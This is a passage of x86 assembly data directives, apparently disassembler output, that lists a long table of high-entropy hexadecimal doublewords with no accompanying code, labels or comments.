		dd 8AD71C5h, 2DDA3D29h,	8AE8EC1Fh, 0DE841F8Eh, 0BD44A8FFh
		dd 1D09A345h, 92B6F08Bh, 34B79037h, 406522EDh, 1B8AB3AFh
		dd 76E263C0h, 0F83ACBF9h, 9CBA686Dh, 7A17C5D4h,	4439704Bh
		dd 8D118E43h, 32095357h, 16AC689Ch, 5F62D110h, 9F2AC164h
		dd 0D6C33A24h, 4F30AD1h, 29E9DA6Eh, 0D8569DAh, 8238D6D2h
		dd 38198941h, 9B3B022Ch, 364CAA67h, 8F940B7Ch, 77C963FFh
		dd 6E11362Ah, 776CE368h, 84488F7h, 1F1E9D3Dh, 0B7A40A6Ch
		dd 0F33C0482h, 0CA30A9EEh, 4FFEA867h, 0FF87B3FCh, 19648812h
		dd 790DB11Ah, 0FE0A5680h, 5AEFC53Ch, 0E4D5BB6Ah, 0AEC52236h
		dd 69D9D6C9h, 5C1B18BBh, 5C5BE5FEh, 44D3792Ah, 0D5A37967h
		dd 48CA32ACh, 4077AF3Ah, 7400DA49h, 0BEE1F48Ah,	0C470D2C5h
		dd 0E359E87Fh, 77DF2E3Bh, 0A49EE3F4h, 0D41B7BFBh, 604925BEh
		dd 65421A66h, 0F549B201h, 47ACE06Ch, 1808C730h,	0BE5581Bh
		dd 9F7D4379h, 48EA6FD5h, 0FCCD0409h, 381BA0C0h,	0D060BE99h
		dd 0FB38F6D1h, 0F5C2EC12h, 0A7C3A141h, 992B561h, 7EF2139h
		dd 9D4C5B2Ch, 2DC1FF50h, 596455AEh, 7256B5FEh, 1BF7CB29h
		dd 11E115AFh, 0ED619E78h, 55AEAF40h, 0ADE3E9EAh, 1A5EB133h
		dd 38D62241h, 48DD5DB8h, 4EC8CE8Dh, 25E6EC66h, 0D7AED374h
		dd 20918B26h, 0D0E6BA60h, 0D8AF3F8Bh, 4D8605D3h, 0E792DD9Fh
		dd 0BCE3CC34h, 300D61EFh, 0F422ED16h, 7C3BB20h,	9D2D3A26h
		dd 39D3DC05h, 0CE13F6CDh, 839C1216h, 0DCC6F612h, 0F6720A3Eh
		dd 7C528921h, 0E4B905CEh, 0D0C5C105h, 0A2A5032Ah, 0E3638332h
		dd 326EF403h, 0C13AE34Ah, 0BC689B1h, 0A16E4A39h, 0EB1C7667h
		dd 46CD9E0h, 517ED2E4h,	0F0142E32h, 16250686h, 5AC0AC85h
		dd 0ECF7379Ch, 9D94EC2Bh, 248AB173h, 893F70F9h,	0F24FA5B2h
		dd 32255C70h, 0D6FE49B8h, 6EE31C0Eh, 91E12CAAh,	0D096332Ch
		dd 1F9FC212h, 840A6A6Dh, 0B81C5706h, 0F2DF0B6Bh, 14730995h
		dd 4086E463h, 0CFEB5D19h, 0A918F5CCh, 9871CEA0h, 0D0D43CEAh
		dd 0F367EBE9h, 57E90A38h, 5C5B66AFh, 0DB540452h, 1F7AA43Bh
		dd 1DC4316h, 0B8FC2DBCh, 0F734B8E7h, 27D3F6Eh, 2B2C544Dh
		dd 0DAFB93EBh, 8366CCA2h, 240BD8ADh, 9DA81273h,	43125B44h
		dd 0F12CF897h, 0D01E6C20h, 0DE2C4EE1h, 14C80920h, 6A98F127h
		dd 14B190D6h, 1FD25C60h, 2066EE7Ah, 0E6D7AE4Fh,	0C05DE375h
		dd 4907DC98h, 0E3FE9BAEh, 0A7917F2Eh, 494F53B2h, 35E93DC5h
		dd 8C40D1B6h, 0B5359A97h, 165B757h, 0A2144E14h,	0ACF08BA2h
		dd 0CF873382h, 3D259AA4h, 0C624F8C9h, 5298BF57h, 5BFBCD44h
		dd 0B3CA795Ch, 0CD2B3C14h, 0DF6D410Ah, 438C782Fh, 0D8596D6h
		dd 9CFF13DFh, 459C9DAFh, 0E442394Dh, 45F6C9FEh,	769733C2h
		dd 48A11E05h, 5E4581D3h, 0A316A4E7h, 0A3E36444h, 0A95D0DFAh
		dd 2AB6C9D1h, 8A71A239h, 554C61FDh, 0D7E8B0D3h,	59551BE5h
		dd 1C12626Ah, 0E51B640Fh, 0AA7D72F4h, 0BD8FFA73h, 5AFC9273h
		dd 60823CB3h, 0EA3B1DC2h, 0FF375815h, 7D7E2077h, 8B6EAA30h
		dd 905EFD48h, 0FED8081Fh, 9F6907E8h, 0F34F8CC2h, 4CB85131h
		dd 0D8CA01h, 5F66EC22h,	0E6EE800Ah, 6FE5E76Ah, 5F903D9Fh
		dd 27C6854Dh, 0BF798E4Dh, 86F50528h, 4B4BD4B2h,	7B670F8h
		dd 700C59Dh, 2C00738Ah,	0AD21F5BDh, 78B03785h, 0BB55849Bh
		dd 0EED0E159h, 12A3FB06h, 57E3E4F5h, 0B336F8A5h, 45944884h
		dd 0DCDF1190h, 9AACC9B0h, 0FCFC63E9h, 290BC0A9h, 0C6CA9240h
		dd 0EC87CED3h, 0EFC4CB2Eh, 615B25F9h, 0BFB7B7FAh, 0B4363AB5h
		dd 983DE582h, 4F18EAD3h, 2BF435Ah, 0E8C881D1h, 0E9CDDC31h
		dd 1A33EBCBh, 3ABFC6BCh, 0E51D7h, 0D5C2A885h, 7D81FC6Ch
		dd 7030F095h, 43AAAE51h, 8DB0BB72h, 0D465F29Bh,	4FBCA8E7h
		dd 99272963h, 0AEF209E2h, 0E1A7866h, 0BA45059Ch, 0E5492F31h
		dd 0C979B0A0h, 0BC3E6A90h, 57AADB88h, 0AD47DF5h, 646C7BA2h
		dd 558308FAh, 0BD3EF5EDh, 9EB94366h, 13F7C45Eh,	91F01336h
		dd 21F87135h, 0E59E50B1h, 71304358h, 0D00B3843h, 8AF87D72h
		dd 0A2A02C71h, 0AE6150A0h, 0F7D36E64h, 0DFB39FBh, 0E0FB6FEFh
		dd 0EA67FE9Dh, 5F2C444Ah, 0C977B669h, 3BB6B6D7h, 0DFDA3486h
		dd 0A8DF4AAAh, 27EF0CFBh
		dd 93A78A48h, 0DDDD26B9h, 7E2158Fh, 0C7D56BCDh,	66459F70h
		dd 59C8B189h, 151B78BAh, 2DB64E15h, 0C304A9B5h,	0D0E3D6E3h
		dd 5FA8E5C3h, 3BE7FA4Ah, 5830A57Eh, 67D14B93h, 76CBA720h
		dd 54962220h, 0A14B243Fh, 96CC695Ah, 4C77CCE7h,	8E50CFB6h
		dd 2D6B51C6h, 0FFD6CACAh, 3D974C70h, 0A60E9E6h,	4F464064h
		dd 33E57A5Dh, 36680AC4h, 0A7F5FD6Ah, 5C295BABh,	0A8207B66h
		dd 4F163956h, 20F281C5h, 81E32F9Ah, 0C48DA99Ch,	164973F4h
		dd 2CDC8954h, 0E4F0FDAh, 0FCDFF09Ah, 0C4C6DD19h, 0C92D5C42h
		dd 0E52DE944h, 51385E25h, 47281E70h, 523D189Ah,	6A886981h
		dd 57554DB5h, 0C5AE4FD2h, 0BD5B170h, 271513ADh,	974E69CDh
		dd 949F7263h, 2B87A42h,	8AB0DB7Ch, 3DEB00D4h, 780073E3h
		dd 99086D9Ah, 2C35EC39h, 0DA231197h, 5B8970C6h,	76789D4Bh
		dd 6C5EA90Ch, 6B0C41C5h, 0EA6FE31Dh, 180CD192h,	125353D9h
		dd 9E38E874h, 0E1A05560h, 0E97E6B3Bh, 3746A2EFh, 7DE362EDh
		dd 41E406B7h, 42087EB4h, 0DD816B83h, 67834958h,	2792B03Fh
		dd 7D4A641h, 0DB79769Eh, 0C348D9E6h, 943C3F30h,	2AA9BB91h
		dd 0CF91A9CDh, 31C47D5Bh, 0D4EC08A1h, 213C382Eh, 395F2725h
		dd 809CEB7Bh, 895983C0h, 1AC8BFC6h, 8FC9B31Ch, 1B874241h
		dd 0BFECDDBFh, 917D46Fh, 784A5D82h, 0E7F6E108h,	7C25C7BDh
		dd 82057AB7h, 0E48A27D6h, 8DB6A05Ch, 0CDABC0D9h, 451C8E5Fh
		dd 0F7A612D5h, 4E382372h, 0A089248Bh, 86CBDE95h, 0DE58C12Bh
		dd 7E544DA5h, 46A8F21Fh, 0D2F57F11h, 4F41081Fh,	51B08C44h
		dd 0F4AF15E6h, 0EE631FBAh, 0D9D527BFh, 46352437h, 40FF68D8h
		dd 0BB42C09Dh, 12315585h, 0A1A47CD6h, 4AE75F63h, 8956F045h
		dd 0C87F44AEh, 5DE3C0C3h, 7CC85912h, 0B6DE073Dh, 0B5B53D38h
		dd 1AD95AEEh, 0E1EDE00Dh, 5D0E6928h, 0F754690Eh, 0F15065B7h
		dd 0B18961C1h, 0D6593744h, 0B8FA64Dh, 1D63AEE0h, 882C33BEh
		dd 1B90B75Eh, 8FD06B90h, 9027DA92h, 0C36D50C2h,	49ECCDDCh
		dd 83FD5D15h, 91E8436Bh, 0F8C35F01h, 5AB66A8Bh,	257BB281h
		dd 70FB0095h, 1CF8012h,	6A1F0EC4h, 0C3F859B7h, 9EF32F25h
		dd 0C42F2471h, 88601B07h, 54139561h, 53DFFF57h,	746B933Ah
		dd 0B9E4D1CDh, 10828F03h, 5E922E1Ah, 0EC674A52h, 42A0BFA9h
		dd 3756F957h, 0C3F63606h, 0C43C0AD4h, 0C5B08496h, 0B6ECACADh
		dd 0FEF135B1h, 7D891154h, 398A7F27h, 0BDD9C71Eh, 0C2809603h
		dd 0E0634658h, 0E7F9A737h, 0F229BD9Bh, 4C838DA9h, 0E1CF632Fh
		dd 6194AAAAh, 4A06AC7Eh, 0C72B4263h, 8BE8A930h,	6CEA838Ah
		dd 321DD902h, 5FAB52B6h, 793D7C18h, 89506816h, 0A7D80A76h
		dd 4B3FA3A1h, 12E22623h, 0F87CEC50h, 59014D61h,	0D8C8ED16h
		dd 0FB2D2B10h, 0FF7EC6A7h, 6F0DA1DDh, 0E304EBAh, 0F94D2830h
		dd 7BD194D4h, 72A2912Ah, 0CED9856Bh, 0C1602C91h, 8FCCFFA0h
		dd 3C285B14h, 0C47C6C6Ch, 6C00D429h, 0A65D36Eh,	787489FCh
		dd 7CCCF362h, 0F1091598h, 0FE2082C7h, 0F68D25D4h, 0AABE3099h
		dd 0F2C8E458h, 40895019h, 7D67E2BEh, 0F18F0D91h, 0B32F7FC7h
		dd 0DFCED66Bh, 0AC682FBh, 0FBD40A3Fh, 0CA4D2078h, 0EB91060Fh
		dd 982BA54Dh, 9890093Fh, 5E8D7B7h, 57F98011h, 526D5279h
		dd 0D13AE0DFh, 63559353h, 0D5A8925Eh, 145FAB8Dh, 0E4A8C1E1h
		dd 7B5A1FD6h, 951951A4h, 0DAF796E3h, 5F039E55h,	0DDD509EFh
		dd 1022CFE8h, 1D5B4FB4h, 54DA236h, 0B23B29FFh, 911A87D9h
		dd 235B277Dh, 75B66F1Ah, 8BA73F0Ah, 22FAAA0Eh, 2EB5FAC9h
		dd 4CA93593h, 0C6A16C41h, 0E7E65DCh, 1ADEA447h,	63417E3Eh
		dd 0AA6490DFh, 77A14EA1h, 8AF22B1h, 0A1EE17A4h,	0C5B6E69Ah
		dd 6978B839h, 53F49341h, 948F5599h, 0E1E5E2Bh, 0C4978895h
		dd 13D0D862h, 300A1664h, 0BA433866h, 186425E8h,	7FE79D90h
		dd 0D15155F0h, 7D684842h, 7F10394h, 0BE10211Eh,	0ADF144Fh
		dd 6E636C89h, 5ADCAF89h, 307F6A9Bh, 0D31C640Ch,	24A04158h
		dd 0E3E9D41Ah, 0E8717606h, 0D0CD877Ch, 906FB409h, 0E674AAFEh
		dd 2CF49FBCh, 3256E6D6h, 43E5FD54h, 1D9A180Ah, 0A3C53461h
		dd 0E5CB4F59h, 75687E55h, 40157103h, 0D299BB9Eh, 78A97096h
		dd 0B2C97FEAh, 572BF2B7h, 72119937h, 0A3920253h, 0CCEAA24Eh
		dd 7A893687h, 0C494AE02h, 7C1F4B3Dh, 0F549ABFh,	44452F96h
		dd 7CDA5D39h, 9CE62D99h, 272078A8h, 0DD090EEDh,	0C2207AFh
		dd 0E24AC6Ah, 529C39FFh, 0F11C65B1h, 6FF6C0C7h,	6B3587ECh
		dd 33147E87h, 0AE6CE68Ch, 913F743Ah, 5D44F024h,	956DC28Fh
		dd 7B67EF5Dh, 0DA5877CCh, 83B131F7h, 236615F5h,	0D1222834h
		dd 9F709F0Eh, 0E646AE71h, 4DC13C7Eh, 0F5668672h, 44185371h
		dd 6BECF9C0h, 33E7CA9Bh, 8EA4128Bh, 293AA3A6h, 787DC432h
		dd 7BC0559Fh, 0CBA300B9h, 62D29057h, 3A8ED4CDh,	0D1144962h
		dd 0C7A26C87h, 695B3304h, 93051292h, 8954F365h,	8F3FF0EAh
		dd 8259B8F1h, 0E06EFFC0h, 0B16CDC61h, 951D159Fh, 0CCA43ECAh
		dd 0B993A85Ch, 0A1A1A824h, 802AA11h, 841E4C4Dh,	0FE6B9FD3h
		dd 94E0E1CCh, 2BAB2057h, 0DA80DA31h, 3C41E354h,	81EA23C5h
		dd 5988C08Fh, 74DC9BC9h, 0C4F3A6BFh, 5F7423DCh,	86A8FD4Dh
		dd 4533C093h, 0E334D9EFh, 0A316CCA9h, 402799AAh, 0DC818BC0h
		dd 55A3BEBEh, 3C5C073Ah, 42BF4FB5h, 794A18C4h, 7373779Ch
		dd 50529630h, 4B6E5256h, 0F684775Eh, 935138B0h,	7C088B1Ah
		dd 2B899740h, 9B57584h,	8AB63F48h, 34D1DC1Fh, 0F725F769h
		dd 4F16FF23h, 24811885h, 0E9B6BDD3h, 96A96149h,	86077AFEh
		dd 0D2BBEBB3h, 483C16FEh, 2C861F26h, 0BA2BBADh,	5E3DE621h
		dd 90197461h, 0BCE8C39Dh, 0FD47AC0Ah, 0A239EDC4h, 7203D635h
		dd 1CC3FC82h, 580A2AD9h, 0FA95B076h, 0CB110CE1h, 352D87B8h
		dd 399D2799h, 36209224h, 39964F4Dh, 95E39551h, 58B5B4E6h
		dd 52DFEDCh, 8459CFF5h,	0B89F95A7h, 0E077AB42h,	0D274F153h
		dd 5C61D796h, 0B4378674h, 18C4C745h, 7428CE72h,	1099B322h
		dd 0D98C550Dh, 13BE1F2Bh, 587366h, 107870F0h, 0EF43D91Eh
		dd 0D78728D2h, 76BF2CDCh, 0BEB69EB8h, 0A319923Bh, 4287A413h
		dd 47E0BD9Eh, 0E1E0DB17h, 0CB3FB33Ah, 89CA6A98h, 59753401h
		dd 30EF8DECh, 0A1CB42E8h, 33FF47E5h, 0FC9917D1h, 369CB4C8h
		dd 0AE3F1C5Ah, 680DBE25h, 949A19EDh, 81EE325Bh,	5298F71Eh
		dd 0CEA640F0h, 73D8932Ch, 2EA2FD40h, 0DD59D241h, 9A6475CAh
		dd 78F6F733h, 0A3950044h, 0B0DF72D6h, 11D0995h,	4C8CCDA5h
		dd 2554FCEEh, 0FDAE02BFh, 15FB6F62h, 70DF233Bh,	5113604h
		dd 0C4E6726Bh, 6AE88B28h, 80287843h, 0C3BE1104h, 6499630Bh
		dd 0C37560F2h, 2EB1611Dh, 6C23679Ah, 6CE92917h,	5DC97F3Fh
		dd 11DC7B40h, 0F702D404h, 8E3513Fh, 3298125Ch, 6FF927BEh
		dd 0DE505B55h, 19A23A56h, 0E086566Dh, 7AF6AF38h, 85F398C1h
		dd 5246FC20h, 0A0266DB0h, 0BCAD9E6Bh, 931FCD8h,	0D4F73B64h
		dd 0C96F22F1h, 0ECEA2C6Fh, 2B06EF85h, 0A69A1FF3h, 30C81450h
		dd 0C95B46C2h, 1B01593Fh, 7931DFC3h, 1D169601h,	0E00B3EE4h
		dd 0A5D74F92h, 0CC07ADCFh, 0C54AF92Dh, 2E040D82h, 4261D983h
		dd 0ACD8FF49h, 5B08BCCFh, 5DC3B2E5h, 0D9868C7Fh, 7E28A3F7h
		dd 0D823DB8Ah, 64C2E01Bh, 69814D57h, 0DAA0B72Eh, 47889CB3h
		dd 0BD172EDFh, 78AE94C2h, 0E790FD86h, 7D3FFC0Dh, 0D57CB6CCh
		dd 42D8890h, 0B31EDC8h
		dd 0BCE126EEh, 5879E8EDh, 4C373D22h, 0D11CB7Bh,	0D9FC9A37h
		dd 0DFEA7769h, 4E04CF00h, 0A8A57279h, 941AA482h, 76D6B404h
		dd 0E4FC6BF5h, 0C53F80E6h, 0C850407h, 252BD430h, 467DF1EFh
		dd 214B874Fh, 54E6AE4Ch, 0DE6FC8DAh, 0AD811FA7h, 6061A66Eh
		dd 1A8950DEh, 1221BEEDh, 2490E4BFh, 16A69C2Eh, 3605BD3Eh
		dd 6959FEF4h, 22272926h, 63963759h, 0CB806CD6h,	5A68AFE9h
		dd 0D4498807h, 0AE6C5BBDh, 583D6527h, 0C8B12439h, 49DACB19h
		dd 4C3363E2h, 3A065968h, 58CEE0CCh, 0D4FF9F53h,	8CF08717h
		dd 98733ED1h, 925C8B31h, 1B650C37h, 3FD1A105h, 0BC9B85C0h
		dd 4411E178h, 3C526410h, 0CC80251Eh, 0C88306BBh, 0EFC8BE93h
		dd 0D6B31770h, 49B7A3ECh, 0EC2C1546h, 0EF3F5695h, 675D56D9h
		dd 5C584A28h, 0DA0EB4C5h, 26A15FA2h, 0DDBD6660h, 9835ED0Dh
		dd 3B81C877h, 0C6638B8Bh, 497DAAD6h, 0B70D76ABh, 38F10896h
		dd 3C92CDCCh, 0B82250ADh, 77C85D9h, 7ED9F0F0h, 0A09D9E14h
		dd 90330F61h, 6D56CCEAh, 4DCE05A2h, 2989CAD6h, 62F6F0BCh
		dd 0DDDE8A77h, 3D0F65B7h, 14C2E833h, 0CC8C848Bh, 808FAC6h
		dd 0C018F9AFh, 0B62AD877h, 3E758D54h, 6CF8811Eh, 5F23F526h
		dd 0C670CA5Bh, 10ECC64Bh, 7CFC1843h, 8A8F2D11h,	4ACEFC1Dh
		dd 0D1DA4D4Bh, 0D597652Ah, 0FFC6D842h, 3CC0D971h, 0E85DB52Ch
		dd 0EAEF5D6Ah, 0EDB6D800h, 377911B8h, 106614F0h, 281A62D0h
		dd 0FE54C57Bh, 0F031823h, 3A4EB083h, 0A46EAF38h, 0DD3C03F2h
		dd 5B0E1C70h, 97336129h, 1848D8C0h, 0E5E6A05Ah,	0C0C6EA25h
		dd 1B700097h, 0C5C8CC9h, 64E19CC5h, 18E1F0FAh, 568E1F58h
		dd 3FD83A14h, 0B275D372h, 2C42961Dh, 0DDD84AB3h, 0EE67B1EAh
		dd 464F1C2Fh, 5ABCD4E4h, 0CFCCBDCCh, 8267B224h,	1C0AAF2Ch
		dd 3B9B5328h, 52343D58h, 6CDE9802h, 299F1E26h, 0F05CB5Eh
		dd 0CD489315h, 78E9A9A6h, 9DAEECD6h, 4D8D5A98h,	0F2EF29FFh
		dd 0ED15D549h, 4D6EAB0Ch, 198B963Fh, 715A5453h,	0F4EFF860h
		dd 0C20BF35Ch, 49F88EAAh, 0B7C44D6h, 0C20889F3h, 5FB0EADAh
		dd 647908AAh, 5474E4B7h, 51448FFEh, 0A60C3CC3h,	8166BC8Eh
		dd 0AD2B74F9h, 0EB918276h, 5A7270Ch, 0B5506B03h, 59606BD7h
		dd 8C1AE100h, 0FF6FCE49h, 0D74099F2h, 0D36962E7h, 720D6CA9h
		dd 29A4A301h, 97B7EF2Bh, 6C8329A1h, 3907A95Dh, 134CB677h
		dd 96F549F3h, 0F780253Fh, 0D0E433B5h, 0A1D11924h, 0E0EB1379h
		dd 0F2C24D77h, 0A1362B29h, 0AD664359h, 690CBAC2h, 359CC41Bh
		dd 0BB1AB4DDh, 3B123713h, 0F86DD977h, 243B7093h, 3E9B09A5h
		dd 0B9092069h, 0BB387D6h, 0F94E05E5h, 65DC5E6Bh, 58142D45h
		dd 17E971B2h, 9CB9A52Dh, 0CAD2EAB3h, 29C06AFDh,	47AED2D4h
		dd 3B712C0Fh, 843558BFh, 0D299FA05h, 0C92B1C98h, 9265297Fh
		dd 42305C66h, 0F13724CAh, 0C27A4A6Ch, 0F226763Fh, 0EDA65578h
		dd 0BB15E8Ah, 0C3941E41h, 0E20B6AA8h, 0D08D83BCh, 837ED4C7h
		dd 0A4E9E585h, 668E53DAh, 0ECD5A20Fh, 7250784Bh, 550520FCh
		dd 0D514AED6h, 91E600EFh, 0D218FAD8h, 2E5A75Dh,	74310E78h
		dd 0D1D68AB0h, 1D1D96DAh, 1F498BD3h, 75EA3038h,	62FD0946h
		dd 0A7B92759h, 2EFE6455h, 0C5F297F7h, 2E66BF29h, 9FA0FAA9h
		dd 260AD058h, 0F705F457h, 2E500535h, 0AAFCAC24h, 0B3C20823h
		dd 71239453h, 71C26C90h, 41F6ED6Bh, 8241B9CAh, 0A74AFEB1h
		dd 9CA3CD97h, 559056F4h, 83512326h, 0E1978CBDh,	0D266AC4Fh
		dd 1F94E417h, 204B58BBh, 514D7291h, 0B6C7D786h,	7309D737h
		dd 2F81F940h, 0F97668B9h, 4B982A5h, 0AF5D3B66h,	7BE3C874h
		dd 7E108D7h, 0BD81E2B0h, 31E8867h, 7BDC647Eh, 609060C0h
		dd 6441FA0Ch, 0E1B8598Fh, 659FCD5Ah, 30318032h,	92DEC2Ch
		dd 0D5923E2Ch, 2F901A1Bh, 51001449h, 0F83E201Ch, 0D309CCF6h
		dd 0C462C699h, 97446D28h, 792006D1h, 4F18DD13h,	0C898603Fh
		dd 520B1CD5h, 93F32E99h, 9194E768h, 994ABD7Fh, 73938DBEh
		dd 703130FBh, 2D03D700h, 0F2238D12h, 0CE41726Eh, 0F80AA91Ch
		dd 0B0492823h, 0A6512ACh, 26EDE4D5h, 1DE303Ch, 82D4A1C8h
		dd 8464A8ACh, 49A36B97h, 51BC0204h, 0FAD65CDBh,	80F30911h
		dd 12D3213Bh, 5DD5084Ch, 29FFBA96h, 0AD87A25Dh,	0E3D3D5B8h
		dd 897288FAh, 0E85402h,	4C8CA7D1h, 9AD63993h, 22896A04h
		dd 0A3EDA91Ah, 7F20D8D6h, 3391F2F3h, 62CFE114h,	0BFF782B9h
		dd 0A9F983DFh, 0D134BD9Ah, 3BF9FAB7h, 0DD437C69h, 7CB58BEFh
		dd 32FBC211h, 35261F33h, 84263746h, 4FC3AE27h, 673A30E7h
		dd 3E780E64h, 0B43771F4h, 0FA03059Fh, 0CA7007F3h, 7481FF27h
		dd 0CE594633h, 0FD4D1629h, 57C1104Bh, 0DB35D8D6h, 0BEC975A2h
		dd 992F34Dh, 482F5A8Ah,	0E8C8890h, 7B020751h, 47B7544Dh
		dd 18A4EB2Dh, 0F0F5ACE7h, 0EB215769h, 218A8D1Dh, 4C6F8F4Fh
		dd 9665DFBEh, 992771F6h, 0E599326h, 9D6F5221h, 87CD8D5Dh
		dd 0D254B10Dh, 46410592h, 6B838426h, 2B46869Ah,	6C67A3DEh
		dd 0B5440693h, 7F83DDFEh, 2CA67FCBh, 5060FF27h,	264C1280h
		dd 461B8656h, 77640142h, 0A36AFD5h, 53CE5AEEh, 94132F4Dh
		dd 8675720Ah, 1E54787Ch, 0C769CC4Ah, 23D6A9E9h,	2C45DC4Fh
		dd 0CF417F5Eh, 0C627285Fh, 58C54A06h, 6776DB86h, 0EF1CE02Fh
		dd 5713F30h, 0CC2423BCh, 389226FBh, 0A94B4B67h,	5BDB0FFDh
		dd 548DFFE1h, 57595E1Ah, 115628C4h, 0C97C5E89h,	0EF0847C5h
		dd 1E98C33Ch, 2A8675C6h, 0AAAAE1D2h, 0E940CE80h, 0CD90C119h
		dd 78742413h, 6F21DF3Ch, 25992313h, 0C8B192FFh,	44315C59h
		dd 90E37751h, 70706148h, 0CA388D39h, 4AEDE3BBh,	53D68C51h
		dd 0F9E3786Ah, 0FC51100Ch, 6EEF26D2h, 852EB989h, 0D2AB2BE7h
		dd 237228BFh, 5B753238h, 0B33CAA52h, 0B61DE4F3h, 2B3E7FFAh
		dd 8981A5C6h, 503970F7h, 0D8BD2973h, 0AA4FC4C8h, 47C317CAh
		dd 0BF4AE2DCh, 0D2A54885h, 3630F45h, 0FA129DF6h, 6E59E538h
		dd 0B2DFEC81h, 8A4F1794h, 0B10A52D9h, 2BF6527Fh, 0EDB779B2h
		dd 0A8AB4570h, 0A328A270h, 7D94B550h, 0CE80F4A7h, 8155B48Eh
		dd 0EF95B37h, 0C1E65C91h, 9C8ABBC9h, 0D87CC624h, 7D43F803h
		dd 5284CC65h, 229A9DBDh, 188E8779h, 0FB9A9F3Ah,	62926810h
		dd 4CB378F1h, 0BB6690FCh, 2C518E6Eh, 39CC68D5h,	17FF761Eh
		dd 0D8976E05h, 8EAB41DCh, 3B962CA8h, 73CA7E61h,	2D133541h
		dd 2F1BFD08h, 9FF0459Ch, 3E91A35Dh, 99B2340h, 57013D13h
		dd 4A1021BFh, 6F66C03Eh, 0CDCF2E32h, 17055A31h,	546E545Dh
		dd 2222EFBh, 0E81A89BDh, 0F5DA226Ch, 0F44BE975h, 4A86BC2Bh
		dd 659C6C13h, 5A800DA6h, 2DD786C0h, 0D4ABF6FEh,	28947172h
		dd 5E4876DBh, 74648122h, 2DE61667h, 522F2B73h, 3BD402FEh
		dd 6A8A8AAEh, 14E24FFCh, 0F0B7FE89h, 0F92024E6h, 6AC1263Eh
		dd 0DC9CAAAEh, 161BD9B8h, 0A3FFF7C1h, 43ABB2E4h, 6B253C94h
		dd 794AB4C6h, 0D77E1B32h, 56B4A4CAh, 7276A072h,	0FD20BFF6h
		dd 6B6EA1C8h, 0E2814549h, 8A49680h, 3E64B0F0h, 2FDD5161h
		dd 0A662835Ch, 27C5BA2Ah, 0AEF63D06h, 0D67E7A4h, 346E662h
		dd 737308E6h, 1087FBBDh, 53ACA237h, 0EEE8AE33h,	73E55A6Ah
		dd 0D6FCC773h, 1C2A0547h, 0D405C02Eh, 0CE3706E3h, 0CCFAB2A6h
		dd 35883CC9h, 2CB297Bh,	0D03314CDh, 0DED28F72h,	45EDB649h
		dd 0A0DF798h, 87EF3B04h, 0A7EEDB49h, 0C6205830h, 1623632Ch
		dd 0D58A84Ch, 35F028A1h
		dd 0C8E18D74h, 40EBB5D6h, 7B1EBB6Bh, 66CC7D5Ch,	0E69F49E6h
		dd 0C6F28EE3h, 3B215927h, 0A7E2E3C0h, 0CFC382AAh, 0AB4A12A0h
		dd 8CF7A1BDh, 6AA57BA4h, 9E336E6Ah, 9514092Ah, 5E621F19h
		dd 28588h, 0C43400CDh, 0A59684BBh, 0F252CD55h, 2DF27E9Ah
		dd 54A6BD14h, 47793EAEh, 3E1941h, 7D9C0132h, 0C6900078h
		dd 50E98372h, 19457C59h, 75123B6Fh, 0EB66ACC6h,	3D1C0202h
		dd 0EF4D5E02h, 433BDA20h, 31FC6A69h, 8BD07AB1h,	99FC688Bh
		dd 64F89B51h, 2495BAD0h, 0DDF577CEh, 0D3CD85Bh,	94DBE93Dh
		dd 64E8FD75h, 767F4B2Eh, 50C7347Fh, 0E764395h, 0A39A7125h
		dd 2CE12FC2h, 0C137594Eh, 7B75CF06h, 9365A59Bh,	3792E374h
		dd 75BB5115h, 0C000AD89h, 0A3467287h, 5159D527h, 5DC1B1D0h
		dd 0FFFBA1A0h, 0E0FC8EC0h, 82212D9Fh, 3472B442h, 0D9D3622Bh
		dd 88E0C56Eh, 0CED39424h, 6F5E66E9h, 395823BAh,	54AA2CCDh
		dd 9CC53A1Dh, 0B18FA4Ch, 7F23B74Ah, 0BD41C36Ch,	0E3594646h
		dd 4D5BC581h, 81EE2850h, 0D1BDBA08h, 0F25E40CDh, 1F1BF2D9h
		dd 1F50B6C4h, 0AC05A3A9h, 0EBD25FF0h, 22F5348Dh, 6E48B41Ch
		dd 282A12B5h, 0A0E044B2h, 347DB16Dh, 224800E2h,	0F3FBC461h
		dd 2584F0DFh, 0DE9E7E1Dh, 56070BABh, 3B357647h,	1B8C36h
		dd 982E7347h, 46874FB5h, 0A5500D30h, 8DF7E13Eh,	0DF304FE7h
		dd 8F522CEAh, 65B6CA22h, 0C83CDE55h, 4104BE2h, 0D952DBD3h
		dd 0EB41D3C4h, 0F55FBEB5h, 0F830D083h, 0A04B6E5h, 0F32C70D0h
		dd 0B5CD9D63h, 214124ACh, 0B90F6CECh, 4BC70A19h, 0E5F04B31h
		dd 2003977Ch, 0A1F7CF75h, 165B5518h, 3B84D3D7h,	0AC0A22Ah
		dd 0C9D3AE53h, 0F1E9BEF6h, 592A3419h, 640FD6D9h, 51FD7E85h
		dd 4E8A257Dh, 699F4E2Dh, 3D5121B8h, 8F22AF00h, 11715FCBh
		dd 0EDFD8259h, 0A5B4A8C1h, 771388E9h, 7D1805C6h, 9ABDF314h
		dd 17358E8h, 0D0C03487h, 9C6A1505h, 2CF117D7h, 69FC9534h
		dd 0B0B57423h, 0F3EFE409h, 4B0B92EBh, 1368FDC6h, 0D9F51F91h
		dd 223C15ABh, 0CC4EADBEh, 0FCD6C9F6h, 78050DD2h, 5F661D12h
		dd 0F5BFD877h, 0EC559147h, 1B3AB567h, 0EA43A7E2h, 0BFDFC5FEh
		dd 0AA48F4D5h, 0FF612720h, 0ABF0C2Dh, 7D7EAF85h, 0D786F635h
		dd 71F83752h, 39B755A3h, 750218F4h, 2A9DA65h, 4BE3FA13h
		dd 384AC6C9h, 4D50F539h, 85188979h, 35D4F557h, 2743E6FAh
		dd 32A7EC7h, 0CF9A4747h, 0EE7DC0B9h, 28EC5ED8h,	91098679h
		dd 0CE426724h, 5519DA69h, 0D2B61BBCh, 0B0F7339h, 5F962B8Bh
		dd 0B629F68Fh, 0FB93FFF6h, 8309655Bh, 0AE619AE5h, 36F1E5B6h
		dd 33789D87h, 83EA40DEh, 68AFF0B9h, 9A70CB74h, 9F9FFA25h
		dd 555A92D9h, 2400238Fh, 7448FDC3h, 0CE261E97h,	8AD5CB86h
		dd 0C65505C3h, 692D0D72h, 0C474786Eh, 6C49F0BFh, 1ACC674Ch
		dd 931B7DF3h, 0E27CB064h, 95F9A5ABh, 32FC8F68h,	9F793A25h
		dd 79C9D920h, 0F292D393h, 0C6FD53F9h, 0D7C7DFDFh, 0ACBB5FF6h
